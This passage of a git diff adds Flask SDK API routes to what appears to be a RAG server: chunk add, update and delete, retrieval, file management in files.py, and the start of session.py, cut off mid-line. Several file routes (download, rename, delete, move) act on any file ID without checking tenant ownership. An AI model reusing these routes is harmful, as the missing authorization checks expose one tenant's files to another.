sres = settings.retrievaler.search(query, search.index_name(tenant_id), [dataset_id], emb_mdl=None, highlight=True) + res["total"] = sres.total + for id in sres.ids: + d = { + "id": id, + "content": (rmSpace(sres.highlight[id]) if question and id in sres.highlight else sres.field[id].get("content_with_weight", "")), + "document_id": sres.field[id]["doc_id"], + "docnm_kwd": sres.field[id]["docnm_kwd"], + "important_keywords": sres.field[id].get("important_kwd", []), + "questions": sres.field[id].get("question_kwd", []), + "dataset_id": sres.field[id].get("kb_id", sres.field[id].get("dataset_id")), + "image_id": sres.field[id].get("img_id", ""), + "available": bool(int(sres.field[id].get("available_int", "1"))), + "positions": sres.field[id].get("position_int", []), + } + res["chunks"].append(d) + _ = Chunk(**d) # validate the chunk + return get_result(data=res) + + +@manager.route( # noqa: F821 + "/datasets//documents//chunks", methods=["POST"] +) +@token_required +def add_chunk(tenant_id, dataset_id, document_id): + """ + Add a chunk to a document. + --- + tags: + - Chunks + security: + - ApiKeyAuth: [] + parameters: + - in: path + name: dataset_id + type: string + required: true + description: ID of the dataset. + - in: path + name: document_id + type: string + required: true + description: ID of the document. + - in: body + name: body + description: Chunk data. + required: true + schema: + type: object + properties: + content: + type: string + required: true + description: Content of the chunk. + important_keywords: + type: array + items: + type: string + description: Important keywords. + - in: header + name: Authorization + type: string + required: true + description: Bearer token for authentication. + responses: + 200: + description: Chunk added successfully. + schema: + type: object + properties: + chunk: + type: object + properties: + id: + type: string + description: Chunk ID. + content: + type: string + description: Chunk content. + document_id: + type: string + description: ID of the document. + important_keywords: + type: array + items: + type: string + description: Important keywords. + """ + if not KnowledgebaseService.accessible(kb_id=dataset_id, user_id=tenant_id): + return get_error_data_result(message=f"You don't own the dataset {dataset_id}.") + doc = DocumentService.query(id=document_id, kb_id=dataset_id) + if not doc: + return get_error_data_result(message=f"You don't own the document {document_id}.") + doc = doc[0] + req = request.json + if not str(req.get("content", "")).strip(): + return get_error_data_result(message="`content` is required") + if "important_keywords" in req: + if not isinstance(req["important_keywords"], list): + return get_error_data_result("`important_keywords` is required to be a list") + if "questions" in req: + if not isinstance(req["questions"], list): + return get_error_data_result("`questions` is required to be a list") + chunk_id = xxhash.xxh64((req["content"] + document_id).encode("utf-8")).hexdigest() + d = { + "id": chunk_id, + "content_ltks": rag_tokenizer.tokenize(req["content"]), + "content_with_weight": req["content"], + } + d["content_sm_ltks"] = rag_tokenizer.fine_grained_tokenize(d["content_ltks"]) + d["important_kwd"] = req.get("important_keywords", []) + d["important_tks"] = rag_tokenizer.tokenize(" ".join(req.get("important_keywords", []))) + d["question_kwd"] = [str(q).strip() for q in req.get("questions", []) if str(q).strip()] + d["question_tks"] = rag_tokenizer.tokenize("\n".join(req.get("questions", []))) + d["create_time"] = str(datetime.datetime.now()).replace("T", " ")[:19] + d["create_timestamp_flt"] = datetime.datetime.now().timestamp() + d["kb_id"] = dataset_id + d["docnm_kwd"] = doc.name + d["doc_id"] = document_id + embd_id = DocumentService.get_embd_id(document_id) + embd_mdl = TenantLLMService.model_instance(tenant_id, LLMType.EMBEDDING.value, embd_id) + v, c = embd_mdl.encode([doc.name, req["content"] if not d["question_kwd"] else "\n".join(d["question_kwd"])]) + v = 0.1 * v[0] + 0.9 * v[1] + d["q_%d_vec" % len(v)] = v.tolist() + settings.docStoreConn.insert([d], search.index_name(tenant_id), dataset_id) + + DocumentService.increment_chunk_num(doc.id, doc.kb_id, c, 1, 0) + # rename keys + key_mapping = { + "id": "id", + "content_with_weight": "content", + "doc_id": "document_id", + "important_kwd": "important_keywords", + "question_kwd": "questions", + "kb_id": "dataset_id", + "create_timestamp_flt": "create_timestamp", + "create_time": "create_time", + "document_keyword": "document", + } + renamed_chunk = {} + for key, value in d.items(): + if key in key_mapping: + new_key = key_mapping.get(key, key) + renamed_chunk[new_key] = value + _ = Chunk(**renamed_chunk) # validate the chunk + return get_result(data={"chunk": renamed_chunk}) + # return get_result(data={"chunk_id": chunk_id}) + + +@manager.route( # noqa: F821 + "datasets//documents//chunks", methods=["DELETE"] +) +@token_required +def rm_chunk(tenant_id, dataset_id, document_id): + """ + Remove chunks from a document. + --- + tags: + - Chunks + security: + - ApiKeyAuth: [] + parameters: + - in: path + name: dataset_id + type: string + required: true + description: ID of the dataset. + - in: path + name: document_id + type: string + required: true + description: ID of the document. + - in: body + name: body + description: Chunk removal parameters. + required: true + schema: + type: object + properties: + chunk_ids: + type: array + items: + type: string + description: List of chunk IDs to remove. + - in: header + name: Authorization + type: string + required: true + description: Bearer token for authentication. + responses: + 200: + description: Chunks removed successfully. + schema: + type: object + """ + if not KnowledgebaseService.accessible(kb_id=dataset_id, user_id=tenant_id): + return get_error_data_result(message=f"You don't own the dataset {dataset_id}.") + docs = DocumentService.get_by_ids([document_id]) + if not docs: + raise LookupError(f"Can't find the document with ID {document_id}!") + req = request.json + condition = {"doc_id": document_id} + if "chunk_ids" in req: + unique_chunk_ids, duplicate_messages = check_duplicate_ids(req["chunk_ids"], "chunk") + condition["id"] = unique_chunk_ids + chunk_number = settings.docStoreConn.delete(condition, search.index_name(tenant_id), dataset_id) + if chunk_number != 0: + DocumentService.decrement_chunk_num(document_id, dataset_id, 1, chunk_number, 0) + if "chunk_ids" in req and chunk_number != len(unique_chunk_ids): + if len(unique_chunk_ids) == 0: + return get_result(message=f"deleted {chunk_number} chunks") + return get_error_data_result(message=f"rm_chunk deleted chunks {chunk_number}, expect {len(unique_chunk_ids)}") + if duplicate_messages: + return get_result( + message=f"Partially deleted {chunk_number} chunks with {len(duplicate_messages)} errors", + data={"success_count": chunk_number, "errors": duplicate_messages}, + ) + return get_result(message=f"deleted {chunk_number} chunks") + + +@manager.route( # noqa: F821 + "/datasets//documents//chunks/", methods=["PUT"] +) +@token_required +def update_chunk(tenant_id, dataset_id, document_id, chunk_id): + """ + Update a chunk within a document. + --- + tags: + - Chunks + security: + - ApiKeyAuth: [] + parameters: + - in: path + name: dataset_id + type: string + required: true + description: ID of the dataset. + - in: path + name: document_id + type: string + required: true + description: ID of the document. + - in: path + name: chunk_id + type: string + required: true + description: ID of the chunk to update. + - in: body + name: body + description: Chunk update parameters. + required: true + schema: + type: object + properties: + content: + type: string + description: Updated content of the chunk. + important_keywords: + type: array + items: + type: string + description: Updated important keywords. + available: + type: boolean + description: Availability status of the chunk. + - in: header + name: Authorization + type: string + required: true + description: Bearer token for authentication. + responses: + 200: + description: Chunk updated successfully. + schema: + type: object + """ + chunk = settings.docStoreConn.get(chunk_id, search.index_name(tenant_id), [dataset_id]) + if chunk is None: + return get_error_data_result(f"Can't find this chunk {chunk_id}") + if not KnowledgebaseService.accessible(kb_id=dataset_id, user_id=tenant_id): + return get_error_data_result(message=f"You don't own the dataset {dataset_id}.") + doc = DocumentService.query(id=document_id, kb_id=dataset_id) + if not doc: + return get_error_data_result(message=f"You don't own the document {document_id}.") + doc = doc[0] + req = request.json + if "content" in req: + content = req["content"] + else: + content = chunk.get("content_with_weight", "") + d = {"id": chunk_id, "content_with_weight": content} + d["content_ltks"] = rag_tokenizer.tokenize(d["content_with_weight"]) + d["content_sm_ltks"] = rag_tokenizer.fine_grained_tokenize(d["content_ltks"]) + if "important_keywords" in req: + if not isinstance(req["important_keywords"], list): + return get_error_data_result("`important_keywords` should be a list") + d["important_kwd"] = req.get("important_keywords", []) + d["important_tks"] = rag_tokenizer.tokenize(" ".join(req["important_keywords"])) + if "questions" in req: + if not isinstance(req["questions"], list): + return get_error_data_result("`questions` should be a list") + d["question_kwd"] = [str(q).strip() for q in req.get("questions", []) if str(q).strip()] + d["question_tks"] = rag_tokenizer.tokenize("\n".join(req["questions"])) + if "available" in req: + d["available_int"] = int(req["available"]) + embd_id = DocumentService.get_embd_id(document_id) + embd_mdl = TenantLLMService.model_instance(tenant_id, LLMType.EMBEDDING.value, embd_id) + if doc.parser_id == ParserType.QA: + arr = [t for t in re.split(r"[\n\t]", d["content_with_weight"]) if len(t) > 1] + if len(arr) != 2: + return get_error_data_result(message="Q&A must be separated by TAB/ENTER key.") + q, a = rmPrefix(arr[0]), rmPrefix(arr[1]) + d = beAdoc(d, arr[0], arr[1], not any([rag_tokenizer.is_chinese(t) for t in q + a])) + + v, c = embd_mdl.encode([doc.name, d["content_with_weight"] if not d.get("question_kwd") else "\n".join(d["question_kwd"])]) + v = 0.1 * v[0] + 0.9 * v[1] if doc.parser_id != ParserType.QA else v[1] + d["q_%d_vec" % len(v)] = v.tolist() + settings.docStoreConn.update({"id": chunk_id}, d, search.index_name(tenant_id), dataset_id) + return get_result() + + +@manager.route("/retrieval", methods=["POST"]) # noqa: F821 +@token_required +def retrieval_test(tenant_id): + """ + Retrieve chunks based on a query. + --- + tags: + - Retrieval + security: + - ApiKeyAuth: [] + parameters: + - in: body + name: body + description: Retrieval parameters. + required: true + schema: + type: object + properties: + dataset_ids: + type: array + items: + type: string + required: true + description: List of dataset IDs to search in. + question: + type: string + required: true + description: Query string. + document_ids: + type: array + items: + type: string + description: List of document IDs to filter. + similarity_threshold: + type: number + format: float + description: Similarity threshold. + vector_similarity_weight: + type: number + format: float + description: Vector similarity weight. + top_k: + type: integer + description: Maximum number of chunks to return. + highlight: + type: boolean + description: Whether to highlight matched content. + metadata_condition: + type: object + description: metadata filter condition. + - in: header + name: Authorization + type: string + required: true + description: Bearer token for authentication. + responses: + 200: + description: Retrieval results. + schema: + type: object + properties: + chunks: + type: array + items: + type: object + properties: + id: + type: string + description: Chunk ID. + content: + type: string + description: Chunk content. + document_id: + type: string + description: ID of the document. + dataset_id: + type: string + description: ID of the dataset. + similarity: + type: number + format: float + description: Similarity score. + """ + req = request.json + if not req.get("dataset_ids"): + return get_error_data_result("`dataset_ids` is required.") + kb_ids = req["dataset_ids"] + if not isinstance(kb_ids, list): + return get_error_data_result("`dataset_ids` should be a list") + for id in kb_ids: + if not KnowledgebaseService.accessible(kb_id=id, user_id=tenant_id): + return get_error_data_result(f"You don't own the dataset {id}.") + kbs = KnowledgebaseService.get_by_ids(kb_ids) + embd_nms = list(set([TenantLLMService.split_model_name_and_factory(kb.embd_id)[0] for kb in kbs])) # remove vendor suffix for comparison + if len(embd_nms) != 1: + return get_result( + message='Datasets use different embedding models."', + code=settings.RetCode.DATA_ERROR, + ) + if "question" not in req: + return get_error_data_result("`question` is required.") + page = int(req.get("page", 1)) + size = int(req.get("page_size", 30)) + question = req["question"] + doc_ids = req.get("document_ids", []) + use_kg = req.get("use_kg", False) + langs = req.get("cross_languages", []) + if not isinstance(doc_ids, list): + return get_error_data_result("`documents` should be a list") + doc_ids_list = KnowledgebaseService.list_documents_by_ids(kb_ids) + for doc_id in doc_ids: + if doc_id not in doc_ids_list: + return get_error_data_result(f"The datasets don't own the document {doc_id}") + if not doc_ids: + metadata_condition = req.get("metadata_condition", {}) + metas = DocumentService.get_meta_by_kbs(kb_ids) + doc_ids = meta_filter(metas, convert_conditions(metadata_condition)) + similarity_threshold = float(req.get("similarity_threshold", 0.2)) + vector_similarity_weight = float(req.get("vector_similarity_weight", 0.3)) + top = int(req.get("top_k", 1024)) + if req.get("highlight") == "False" or req.get("highlight") == "false": + highlight = False + else: + highlight = True + try: + tenant_ids = list(set([kb.tenant_id for kb in kbs])) + e, kb = KnowledgebaseService.get_by_id(kb_ids[0]) + if not e: + return get_error_data_result(message="Dataset not found!") + embd_mdl = LLMBundle(kb.tenant_id, LLMType.EMBEDDING, llm_name=kb.embd_id) + + rerank_mdl = None + if req.get("rerank_id"): + rerank_mdl = LLMBundle(kb.tenant_id, LLMType.RERANK, llm_name=req["rerank_id"]) + + if langs: + question = cross_languages(kb.tenant_id, None, question, langs) + + if req.get("keyword", False): + chat_mdl = LLMBundle(kb.tenant_id, LLMType.CHAT) + question += keyword_extraction(chat_mdl, question) + + ranks = settings.retrievaler.retrieval( + question, + embd_mdl, + tenant_ids, + kb_ids, + page, + size, + similarity_threshold, + vector_similarity_weight, + top, + doc_ids, + rerank_mdl=rerank_mdl, + highlight=highlight, + rank_feature=label_question(question, kbs), + ) + if use_kg: + ck = settings.kg_retrievaler.retrieval(question, [k.tenant_id for k in kbs], kb_ids, embd_mdl, LLMBundle(kb.tenant_id, LLMType.CHAT)) + if ck["content_with_weight"]: + ranks["chunks"].insert(0, ck) + + for c in ranks["chunks"]: + c.pop("vector", None) + + ##rename keys + renamed_chunks = [] + for chunk in ranks["chunks"]: + key_mapping = { + "chunk_id": "id", + "content_with_weight": "content", + "doc_id": "document_id", + "important_kwd": "important_keywords", + "question_kwd": "questions", + "docnm_kwd": "document_keyword", + "kb_id": "dataset_id", + } + rename_chunk = {} + for key, value in chunk.items(): + new_key = key_mapping.get(key, key) + rename_chunk[new_key] = value + renamed_chunks.append(rename_chunk) + ranks["chunks"] = renamed_chunks + return get_result(data=ranks) + except Exception as e: + if str(e).find("not_found") > 0: + return get_result( + message="No chunk found! Check the chunk status please!", + code=settings.RetCode.DATA_ERROR, + ) + return server_error_response(e) diff --git a/api/apps/sdk/files.py b/api/apps/sdk/files.py new file mode 100644 index 0000000..96efe20 --- /dev/null +++ b/api/apps/sdk/files.py @@ -0,0 +1,738 @@ +import pathlib +import re + +import flask +from flask import request +from pathlib import Path + +from api.db.services.document_service import DocumentService +from api.db.services.file2document_service import File2DocumentService +from api.db.services.knowledgebase_service import KnowledgebaseService +from api.utils.api_utils import server_error_response, token_required +from api.utils import get_uuid +from api.db import FileType +from api.db.services import duplicate_name +from api.db.services.file_service import FileService +from api.utils.api_utils import get_json_result +from api.utils.file_utils import filename_type +from rag.utils.storage_factory import STORAGE_IMPL + +@manager.route('/file/upload', methods=['POST']) # noqa: F821 +@token_required +def upload(tenant_id): + """ + Upload a file to the system. + --- + tags: + - File Management + security: + - ApiKeyAuth: [] + parameters: + - in: formData + name: file + type: file + required: true + description: The file to upload + - in: formData + name: parent_id + type: string + description: Parent folder ID where the file will be uploaded. Optional. + responses: + 200: + description: Successfully uploaded the file. + schema: + type: object + properties: + data: + type: array + items: + type: object + properties: + id: + type: string + description: File ID + name: + type: string + description: File name + size: + type: integer + description: File size in bytes + type: + type: string + description: File type (e.g., document, folder) + """ + pf_id = request.form.get("parent_id") + + if not pf_id: + root_folder = FileService.get_root_folder(tenant_id) + pf_id = root_folder["id"] + + if 'file' not in request.files: + return get_json_result(data=False, message='No file part!', code=400) + file_objs = request.files.getlist('file') + + for file_obj in file_objs: + if file_obj.filename == '': + return get_json_result(data=False, message='No selected file!', code=400) + + file_res = [] + + try: + e, pf_folder = FileService.get_by_id(pf_id) + if not e: + return get_json_result(data=False, message="Can't find this folder!", code=404) + + for file_obj in file_objs: + # Handle file path + full_path = '/' + file_obj.filename + file_obj_names = full_path.split('/') + file_len = len(file_obj_names) + + # Get folder path ID + file_id_list = FileService.get_id_list_by_id(pf_id, file_obj_names, 1, [pf_id]) + len_id_list = len(file_id_list) + + # Crete file folder + if file_len != len_id_list: + e, file = FileService.get_by_id(file_id_list[len_id_list - 1]) + if not e: + return get_json_result(data=False, message="Folder not found!", code=404) + last_folder = FileService.create_folder(file, file_id_list[len_id_list - 1], file_obj_names, len_id_list) + else: + e, file = FileService.get_by_id(file_id_list[len_id_list - 2]) + if not e: + return get_json_result(data=False, message="Folder not found!", code=404) + last_folder = FileService.create_folder(file, file_id_list[len_id_list - 2], file_obj_names, len_id_list) + + filetype = filename_type(file_obj_names[file_len - 1]) + location = file_obj_names[file_len - 1] + while STORAGE_IMPL.obj_exist(last_folder.id, location): + location += "_" + blob = file_obj.read() + filename = duplicate_name(FileService.query, name=file_obj_names[file_len - 1], parent_id=last_folder.id) + + file = { + "id": get_uuid(), + "parent_id": last_folder.id, + "tenant_id": tenant_id, + "created_by": tenant_id, + "type": filetype, + "name": filename, + "location": location, + "size": len(blob), + } + file = FileService.insert(file) + STORAGE_IMPL.put(last_folder.id, location, blob) + file_res.append(file.to_json()) + return get_json_result(data=file_res) + except Exception as e: + return server_error_response(e) + + +@manager.route('/file/create', methods=['POST']) # noqa: F821 +@token_required +def create(tenant_id): + """ + Create a new file or folder. + --- + tags: + - File Management + security: + - ApiKeyAuth: [] + parameters: + - in: body + name: body + description: File creation parameters + required: true + schema: + type: object + properties: + name: + type: string + description: Name of the file/folder + parent_id: + type: string + description: Parent folder ID. Optional. + type: + type: string + enum: ["FOLDER", "VIRTUAL"] + description: Type of the file + responses: + 200: + description: File created successfully. + schema: + type: object + properties: + data: + type: object + properties: + id: + type: string + name: + type: string + type: + type: string + """ + req = request.json + pf_id = request.json.get("parent_id") + input_file_type = request.json.get("type") + if not pf_id: + root_folder = FileService.get_root_folder(tenant_id) + pf_id = root_folder["id"] + + try: + if not FileService.is_parent_folder_exist(pf_id): + return get_json_result(data=False, message="Parent Folder Doesn't Exist!", code=400) + if FileService.query(name=req["name"], parent_id=pf_id): + return get_json_result(data=False, message="Duplicated folder name in the same folder.", code=409) + + if input_file_type == FileType.FOLDER.value: + file_type = FileType.FOLDER.value + else: + file_type = FileType.VIRTUAL.value + + file = FileService.insert({ + "id": get_uuid(), + "parent_id": pf_id, + "tenant_id": tenant_id, + "created_by": tenant_id, + "name": req["name"], + "location": "", + "size": 0, + "type": file_type + }) + + return get_json_result(data=file.to_json()) + except Exception as e: + return server_error_response(e) + + +@manager.route('/file/list', methods=['GET']) # noqa: F821 +@token_required +def list_files(tenant_id): + """ + List files under a specific folder. + --- + tags: + - File Management + security: + - ApiKeyAuth: [] + parameters: + - in: query + name: parent_id + type: string + description: Folder ID to list files from + - in: query + name: keywords + type: string + description: Search keyword filter + - in: query + name: page + type: integer + default: 1 + description: Page number + - in: query + name: page_size + type: integer + default: 15 + description: Number of results per page + - in: query + name: orderby + type: string + default: "create_time" + description: Sort by field + - in: query + name: desc + type: boolean + default: true + description: Descending order + responses: + 200: + description: Successfully retrieved file list. + schema: + type: object + properties: + total: + type: integer + files: + type: array + items: + type: object + properties: + id: + type: string + name: + type: string + type: + type: string + size: + type: integer + create_time: + type: string + format: date-time + """ + pf_id = request.args.get("parent_id") + keywords = request.args.get("keywords", "") + page_number = int(request.args.get("page", 1)) + items_per_page = int(request.args.get("page_size", 15)) + orderby = request.args.get("orderby", "create_time") + desc = request.args.get("desc", True) + + if not pf_id: + root_folder = FileService.get_root_folder(tenant_id) + pf_id = root_folder["id"] + FileService.init_knowledgebase_docs(pf_id, tenant_id) + + try: + e, file = FileService.get_by_id(pf_id) + if not e: + return get_json_result(message="Folder not found!", code=404) + + files, total = FileService.get_by_pf_id(tenant_id, pf_id, page_number, items_per_page, orderby, desc, keywords) + + parent_folder = FileService.get_parent_folder(pf_id) + if not parent_folder: + return get_json_result(message="File not found!", code=404) + + return get_json_result(data={"total": total, "files": files, "parent_folder": parent_folder.to_json()}) + except Exception as e: + return server_error_response(e) + + +@manager.route('/file/root_folder', methods=['GET']) # noqa: F821 +@token_required +def get_root_folder(tenant_id): + """ + Get user's root folder. + --- + tags: + - File Management + security: + - ApiKeyAuth: [] + responses: + 200: + description: Root folder information + schema: + type: object + properties: + data: + type: object + properties: + root_folder: + type: object + properties: + id: + type: string + name: + type: string + type: + type: string + """ + try: + root_folder = FileService.get_root_folder(tenant_id) + return get_json_result(data={"root_folder": root_folder}) + except Exception as e: + return server_error_response(e) + + +@manager.route('/file/parent_folder', methods=['GET']) # noqa: F821 +@token_required +def get_parent_folder(): + """ + Get parent folder info of a file. + --- + tags: + - File Management + security: + - ApiKeyAuth: [] + parameters: + - in: query + name: file_id + type: string + required: true + description: Target file ID + responses: + 200: + description: Parent folder information + schema: + type: object + properties: + data: + type: object + properties: + parent_folder: + type: object + properties: + id: + type: string + name: + type: string + """ + file_id = request.args.get("file_id") + try: + e, file = FileService.get_by_id(file_id) + if not e: + return get_json_result(message="Folder not found!", code=404) + + parent_folder = FileService.get_parent_folder(file_id) + return get_json_result(data={"parent_folder": parent_folder.to_json()}) + except Exception as e: + return server_error_response(e) + + +@manager.route('/file/all_parent_folder', methods=['GET']) # noqa: F821 +@token_required +def get_all_parent_folders(tenant_id): + """ + Get all parent folders of a file. + --- + tags: + - File Management + security: + - ApiKeyAuth: [] + parameters: + - in: query + name: file_id + type: string + required: true + description: Target file ID + responses: + 200: + description: All parent folders of the file + schema: + type: object + properties: + data: + type: object + properties: + parent_folders: + type: array + items: + type: object + properties: + id: + type: string + name: + type: string + """ + file_id = request.args.get("file_id") + try: + e, file = FileService.get_by_id(file_id) + if not e: + return get_json_result(message="Folder not found!", code=404) + + parent_folders = FileService.get_all_parent_folders(file_id) + parent_folders_res = [folder.to_json() for folder in parent_folders] + return get_json_result(data={"parent_folders": parent_folders_res}) + except Exception as e: + return server_error_response(e) + + +@manager.route('/file/rm', methods=['POST']) # noqa: F821 +@token_required +def rm(tenant_id): + """ + Delete one or multiple files/folders. + --- + tags: + - File Management + security: + - ApiKeyAuth: [] + parameters: + - in: body + name: body + description: Files to delete + required: true + schema: + type: object + properties: + file_ids: + type: array + items: + type: string + description: List of file IDs to delete + responses: + 200: + description: Successfully deleted files + schema: + type: object + properties: + data: + type: boolean + example: true + """ + req = request.json + file_ids = req["file_ids"] + try: + for file_id in file_ids: + e, file = FileService.get_by_id(file_id) + if not e: + return get_json_result(message="File or Folder not found!", code=404) + if not file.tenant_id: + return get_json_result(message="Tenant not found!", code=404) + + if file.type == FileType.FOLDER.value: + file_id_list = FileService.get_all_innermost_file_ids(file_id, []) + for inner_file_id in file_id_list: + e, file = FileService.get_by_id(inner_file_id) + if not e: + return get_json_result(message="File not found!", code=404) + STORAGE_IMPL.rm(file.parent_id, file.location) + FileService.delete_folder_by_pf_id(tenant_id, file_id) + else: + STORAGE_IMPL.rm(file.parent_id, file.location) + if not FileService.delete(file): + return get_json_result(message="Database error (File removal)!", code=500) + + informs = File2DocumentService.get_by_file_id(file_id) + for inform in informs: + doc_id = inform.document_id + e, doc = DocumentService.get_by_id(doc_id) + if not e: + return get_json_result(message="Document not found!", code=404) + tenant_id = DocumentService.get_tenant_id(doc_id) + if not tenant_id: + return get_json_result(message="Tenant not found!", code=404) + if not DocumentService.remove_document(doc, tenant_id): + return get_json_result(message="Database error (Document removal)!", code=500) + File2DocumentService.delete_by_file_id(file_id) + + return get_json_result(data=True) + except Exception as e: + return server_error_response(e) + + +@manager.route('/file/rename', methods=['POST']) # noqa: F821 +@token_required +def rename(tenant_id): + """ + Rename a file. + --- + tags: + - File Management + security: + - ApiKeyAuth: [] + parameters: + - in: body + name: body + description: Rename file + required: true + schema: + type: object + properties: + file_id: + type: string + description: Target file ID + name: + type: string + description: New name for the file + responses: + 200: + description: File renamed successfully + schema: + type: object + properties: + data: + type: boolean + example: true + """ + req = request.json + try: + e, file = FileService.get_by_id(req["file_id"]) + if not e: + return get_json_result(message="File not found!", code=404) + + if file.type != FileType.FOLDER.value and pathlib.Path(req["name"].lower()).suffix != pathlib.Path(file.name.lower()).suffix: + return get_json_result(data=False, message="The extension of file can't be changed", code=400) + + for existing_file in FileService.query(name=req["name"], pf_id=file.parent_id): + if existing_file.name == req["name"]: + return get_json_result(data=False, message="Duplicated file name in the same folder.", code=409) + + if not FileService.update_by_id(req["file_id"], {"name": req["name"]}): + return get_json_result(message="Database error (File rename)!", code=500) + + informs = File2DocumentService.get_by_file_id(req["file_id"]) + if informs: + if not DocumentService.update_by_id(informs[0].document_id, {"name": req["name"]}): + return get_json_result(message="Database error (Document rename)!", code=500) + + return get_json_result(data=True) + except Exception as e: + return server_error_response(e) + + +@manager.route('/file/get/', methods=['GET']) # noqa: F821 +@token_required +def get(tenant_id,file_id): + """ + Download a file. + --- + tags: + - File Management + security: + - ApiKeyAuth: [] + produces: + - application/octet-stream + parameters: + - in: path + name: file_id + type: string + required: true + description: File ID to download + responses: + 200: + description: File stream + schema: + type: file + 404: + description: File not found + """ + try: + e, file = FileService.get_by_id(file_id) + if not e: + return get_json_result(message="Document not found!", code=404) + + blob = STORAGE_IMPL.get(file.parent_id, file.location) + if not blob: + b, n = File2DocumentService.get_storage_address(file_id=file_id) + blob = STORAGE_IMPL.get(b, n) + + response = flask.make_response(blob) + ext = re.search(r"\.([^.]+)$", file.name) + if ext: + if file.type == FileType.VISUAL.value: + response.headers.set('Content-Type', 'image/%s' % ext.group(1)) + else: + response.headers.set('Content-Type', 'application/%s' % ext.group(1)) + return response + except Exception as e: + return server_error_response(e) + + +@manager.route('/file/mv', methods=['POST']) # noqa: F821 +@token_required +def move(tenant_id): + """ + Move one or multiple files to another folder. + --- + tags: + - File Management + security: + - ApiKeyAuth: [] + parameters: + - in: body + name: body + description: Move operation + required: true + schema: + type: object + properties: + src_file_ids: + type: array + items: + type: string + description: Source file IDs + dest_file_id: + type: string + description: Destination folder ID + responses: + 200: + description: Files moved successfully + schema: + type: object + properties: + data: + type: boolean + example: true + """ + req = request.json + try: + file_ids = req["src_file_ids"] + parent_id = req["dest_file_id"] + files = FileService.get_by_ids(file_ids) + files_dict = {f.id: f for f in files} + + for file_id in file_ids: + file = files_dict[file_id] + if not file: + return get_json_result(message="File or Folder not found!", code=404) + if not file.tenant_id: + return get_json_result(message="Tenant not found!", code=404) + + fe, _ = FileService.get_by_id(parent_id) + if not fe: + return get_json_result(message="Parent Folder not found!", code=404) + + FileService.move_file(file_ids, parent_id) + return get_json_result(data=True) + except Exception as e: + return server_error_response(e) + +@manager.route('/file/convert', methods=['POST']) # noqa: F821 +@token_required +def convert(tenant_id): + req = request.json + kb_ids = req["kb_ids"] + file_ids = req["file_ids"] + file2documents = [] + + try: + files = FileService.get_by_ids(file_ids) + files_set = dict({file.id: file for file in files}) + for file_id in file_ids: + file = files_set[file_id] + if not file: + return get_json_result(message="File not found!", code=404) + file_ids_list = [file_id] + if file.type == FileType.FOLDER.value: + file_ids_list = FileService.get_all_innermost_file_ids(file_id, []) + for id in file_ids_list: + informs = File2DocumentService.get_by_file_id(id) + # delete + for inform in informs: + doc_id = inform.document_id + e, doc = DocumentService.get_by_id(doc_id) + if not e: + return get_json_result(message="Document not found!", code=404) + tenant_id = DocumentService.get_tenant_id(doc_id) + if not tenant_id: + return get_json_result(message="Tenant not found!", code=404) + if not DocumentService.remove_document(doc, tenant_id): + return get_json_result( + message="Database error (Document removal)!", code=404) + File2DocumentService.delete_by_file_id(id) + + # insert + for kb_id in kb_ids: + e, kb = KnowledgebaseService.get_by_id(kb_id) + if not e: + return get_json_result( + message="Can't find this knowledgebase!", code=404) + e, file = FileService.get_by_id(id) + if not e: + return get_json_result( + message="Can't find this file!", code=404) + + doc = DocumentService.insert({ + "id": get_uuid(), + "kb_id": kb.id, + "parser_id": FileService.get_parser(file.type, file.name, kb.parser_id), + "parser_config": kb.parser_config, + "created_by": tenant_id, + "type": file.type, + "name": file.name, + "suffix": Path(file.name).suffix.lstrip("."), + "location": file.location, + "size": file.size + }) + file2document = File2DocumentService.insert({ + "id": get_uuid(), + "file_id": id, + "document_id": doc.id, + }) + + file2documents.append(file2document.to_json()) + return get_json_result(data=file2documents) + except Exception as e: + return server_error_response(e) \ No newline at end of file diff --git a/api/apps/sdk/session.py b/api/apps/sdk/session.py new file mode 100644 index 0000000..10b6e97 --- /dev/null +++ b/api/apps/sdk/session.py @@ -0,0 +1,1115 @@ +# +# Copyright 2024 The InfiniFlow Authors. All Rights Reserved. +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# +import json +import re +import time + +import tiktoken +from flask import Response, jsonify, request + +from agent.canvas import Canvas +from api import settings +from api.db import LLMType, StatusEnum +from api.db.db_models import APIToken +from api.db.services.api_service import API4ConversationService +from api.db.services.canvas_service import UserCanvasService, completionOpenAI +from api.db.services.canvas_service import completion as agent_completion +from api.db.services.conversation_service import ConversationService, iframe_completion +from api.db.services.conversation_service import completion as rag_completion +from api.db.services.dialog_service import DialogService, ask, chat, gen_mindmap, meta_filter +from api.db.services.document_service import DocumentService +from api.db.services.knowledgebase_service import KnowledgebaseService +from api.db.services.llm_service import LLMBundle +from api.db.services.search_service import SearchService +from api.db.services.user_service import UserTenantService +from api.utils import get_uuid +from api.utils.api_utils import check_duplicate_ids, get_data_openai, get_error_data_result, get_json_result, get_result, server_error_response, token_required, validate_request +from rag.app.tag import label_question +from rag.prompts.template import load_prompt +from rag.prompts.generator import cross_languages, gen_meta_filter, keyword_extraction, chunks_format + + +@manager.route("/chats//sessions", methods=["POST"]) # noqa: F821 +@token_required +def create(tenant_id, chat_id): + req = request.json + req["dialog_id"] = chat_id + dia = DialogService.query(tenant_id=tenant_id, id=req["dialog_id"], status=StatusEnum.VALID.value) + if not dia: + return get_error_data_result(message="You do not own the assistant.") + conv = { + "id": get_uuid(), + "dialog_id": req["dialog_id"], + "name": req.get("name", "New session"), + "message": [{"role": "assistant", "content": dia[0].prompt_config.get("prologue")}], + "user_id": req.get("user_id", ""), + "reference": [{}], + } + if not conv.get("name"): + return get_error_data_result(message="`name` can not be empty.") + ConversationService.save(**conv) + e, conv = ConversationService.get_by_id(conv["id"]) + if not e: + return get_error_data_result(message="Fail to create a session!") + conv = conv.to_dict() + conv["messages"] = conv.pop("message") + conv["chat_id"] = conv.pop("dialog_id") + del conv["reference"] + return get_result(data=conv) + + +@manager.route("/agents//sessions", methods=["POST"]) # noqa: F821 +@token_required +def create_agent_session(tenant_id, agent_id): + user_id = request.args.get("user_id", tenant_id) + e, cvs = UserCanvasService.get_by_id(agent_id) + if not e: + return get_error_data_result("Agent not found.") + if not UserCanvasService.query(user_id=tenant_id, id=agent_id): + return get_error_data_result("You cannot access the agent.") + if not 